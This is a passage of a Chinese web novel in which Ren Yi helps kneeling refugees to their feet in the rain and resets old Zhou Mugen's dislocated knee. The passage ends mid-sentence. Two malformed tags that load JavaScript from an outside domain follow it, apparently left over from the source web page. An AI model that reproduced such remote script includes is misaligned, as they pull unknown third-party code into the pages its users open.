脚边的泥泞里,黑压压跪倒一片流民。他们额头沾着泥水,衣衫湿透紧贴在身上,却依旧执着地高呼“忠诚”。那声音混杂着雨水的淅沥声,带着劫后余生的颤抖,也藏着近乎绝望的依附。
他心中五味杂陈。
微不可察地叹了口气,声音低得几乎被雨声淹没:“都是可怜人……”
任弋上前两步,弯下腰。伸手扶住了跪在最前面的周木根老汉的胳膊。
老人额头还沾着泥块,花白的头发被雨水泡得凌乱,贴在苍老的脸颊上。
“老爷子,快起来吧。”他的语气放得很柔,“地上又湿又冷,别再跪了。你们这样跪拜,我受不起,折我的寿可不好。”
周木根原本还执拗地想把额头再贴向地面,好好表达这份无以言表的感激。可一听到“折寿”二字,浑身猛地一颤,像是被烙铁烫到一般。
他慌忙不迭地就要站起来,动作急得有些踉跄。年迈的筋骨本就经不住淋雨,这一动,只听“咔吧”一声轻响。
“哎哟!”周木根痛呼一声,左腿一软,竟是自己把膝盖给扭脱臼了。身子一歪,又要朝着泥泞里倒去。
任弋眼疾手快,一把托住他的胳膊肘,稳稳架住了他下坠的身形。另一只手已经迅捷地探出,准确握住老汉的小腿和脚踝。
手法精准得不像话。一托,一送。
“咔嚓。”又是一声轻响。脱臼的关节,瞬间复位。
周木根只觉得腿上的剧痛骤然消散,只剩下些许酸胀感。他踉跄着站稳身形,又是感激又是惶恐,双手连连作揖,说话都有些语无伦次:“神仙……啊不,恩公!恩公恕罪!小老儿绝不是有意要折您寿数!实在是……实在是感激涕零,不知如何是好,只能磕头谢恩啊!”
他急得额头都冒了汗,混着雨水往下淌,生怕刚才那一跪真给这位救命恩人带来什么不好的影响。
“行了行了,知道你不是故意的。”任弋摆摆手,又轻轻搀了他一把,帮他稳住身形。然后抬高了声音,对着仍然跪在地上的流民们说道:“大家都起来吧!别跪着了,地上凉。咱们有话站着说。”
流民们面面相觑,眼神里满是迟疑。
他们早就习惯了卑微,习惯了用跪拜表达敬畏与感激。可看到领头的周木根已经被扶起,又听到任弋语气平和的吩咐,这才陆陆续续动了起来。互相搀扶着,慢慢站起身。
大多数人依旧低眉顺眼,缩手缩脚地聚在
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">